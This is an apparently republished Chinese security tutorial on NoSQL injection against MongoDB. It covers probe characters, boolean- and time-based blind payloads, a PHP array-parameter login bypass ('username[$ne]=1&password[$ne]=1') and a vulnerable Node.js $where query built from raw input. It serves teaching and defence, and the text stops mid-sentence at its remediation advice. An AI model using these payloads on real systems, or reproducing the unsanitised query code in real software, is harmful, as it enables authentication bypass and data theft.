6

NoSQL Injection - ssooking

 2 years ago
source link: https://ssooking.github.io/2020/07/nosql-injection/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

NoSQL (Not Only SQL),非关系型数据库,适用于超大规模数据的存储,目前作为分布式云平台和 Web 应用程序的后端数据库越来越受欢迎。NoSQL 数据存储不像关系数据库那样将数据存储在表中,而是存储使用更适合于特定目的的其他数据模型,如文档、图表、对象等。

NoSQL数据库不使用SQL通用查询语言。NoSQL查询语法是由应用程序的编程语言决定的:PHP、JavaScript、Python、Java 等。因此攻击者不仅可以在数据库中执行命令,还可以在应用程序本身中执行命令。

MongoDB是目前最流行的NoSQL 数据库产品之一,它使用类似于 JSON(JavaScript Object Notation)的语法将数据存储为文档,还允许开发人员仅使用 JavaScript构建全栈应用程序。下面我们使用MongoDB查询来演示NoSQL注入攻击。

MongoDB语法和操作符

MongoDB语法和操作符可参考MongoDB 教程。条件操作符有:

  • (>) 大于 - $gt
  • (<) 小于 - $lt
  • (>=) 大于等于 - $gte
  • (<= ) 小于等于 - $lte
  • ( != ) 不等于 - $ne
  • ( = ) 等于 - $eq

可能存在注入的位置

  • 过滤或搜索表单
  • 标题和cookie

通过输入一些特殊的NoSQL字符,查看服务器是否返回错误,以此查看可能泄露的信息。报错信息可能暴露当前使用的是NoSQL数据库,或者类似500的错误。

' " \ / $ [ ] . > ; { } ( )

测试方法:

  • 将特殊字符插入每个参数中观察是否发生错误
  • 用这些特殊字符或NoSQL关键字(如 $ne、$eq、$where、$or 等)替换已发布的 JSON 内容中的元素,观察是否有错误。
  • 发送附加对象以及有效的 JSON。如{"user": "nullsweep"}可以改为{"user": ["nullsweep", "foo"]}{"$or": [{"user": "foo"}, {"user": "realuser"}]}

其中一些字符或短语还可能触发其他注入漏洞(JS 注入、SQL 注入、shell 注入等),因此可能需要进一步测试以确保它是 NoSQL 后端。

布尔型盲注

通过布尔表达式(true或false结果、0或1等)观察页面响应情况来进行注入。常见语法:

{"$ne": -1}
{"$in": []}
{"$and": [ {"id": 5}, {"id": 6} ]}
{"$where":  "return true"}
{"$or": [{},{"foo":"1"}]}
site.com/page?query=term || '1'=='1
site.com/page?user[$ne]=nobody
site.com/page?user=;return true

可能需要尝试附加某些字符以正确终止查询:

//
%00
'
”
一定数量的右括号或大括号,以某种组合

注入sleep函数让页面产生延时,以此判断注入语句是否执行。

{"$where":  "sleep(100)"}
;sleep(100);

PHP MongoDB注入

PHP语言有一个特性:允许用户通过将URL参数更改为带数组括号的参数来将查询字符串数据类型更改为数组。

http://test.com/page?parameter=value //normal URL
http://test.com/page?[parameter]=value //PHP treats input as an array now

攻击者可以利用这个特性,尝试在字段值中注入MongoDB运算符,如$eq(等于)、$ne(不等于)或$gt(大于)来达到永真或永假的条件进行查询。下面是一个基础的php数据库查询方法,参数值来自表单post参数:

$query = array("user" => $_POST["username"], "password" => $_POST["password"]);

如果获取的参数直接用于数据库查询以检查登录凭据,通过注入操作符参数值作为数组处理:

?username[$ne]=1&password[$ne]=1

后端php会将其转换为:

array("username" => array("$ne" => 1), "password" => array("$ne" => 1));

这将找到用户名和密码不等于1的所有用户,这很可能是永真查询,因此可能导致攻击者绕过身份验证。

MongoDB JavaScript注入

MongoDB API通常需要BSON(二进制 JSON)数据,但允许使用一些 JSON 和未序列化的 JavaScript 表达式。

阅读Mongodb文档可知,MongoDB允许在服务器上执行JavaScript的$wheremapReduce操作符。

如下是检索用户名信息的示例代码:

let username = req.query.username;
query = { $where: `this.username == '${username}'` }
User.find(query, function (err, users) {
	if (err) {
		// Handle errors
	} else {
		res.render('userlookup', { title: 'User Lookup', users: users });
	}
});

用于检索的用户名字符串直接从请求中获取,没有进行任何过滤。假如我们注入' || 'a'=='a,则后端查询结构则变为了:

$where: `this.username == '' || 'a'=='a'`

查询结果总为真,实现了注入攻击。

假设服务器存在下面的查询逻辑,用户data数据未经过滤

db.collection.find( { $where: function() { 
    return (this.name == $userData) } } );

攻击者可能会向$userData参数注入如'a'; sleep(5000)的字符串。服务器执行的查询将是:

db.collection.find( { $where: function() { 
    return (this.name == 'a'; sleep(5000) ) } } );

这样将导致时间盲注。

处于安全考虑,可以禁用JavaScript在服务器端的执行:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK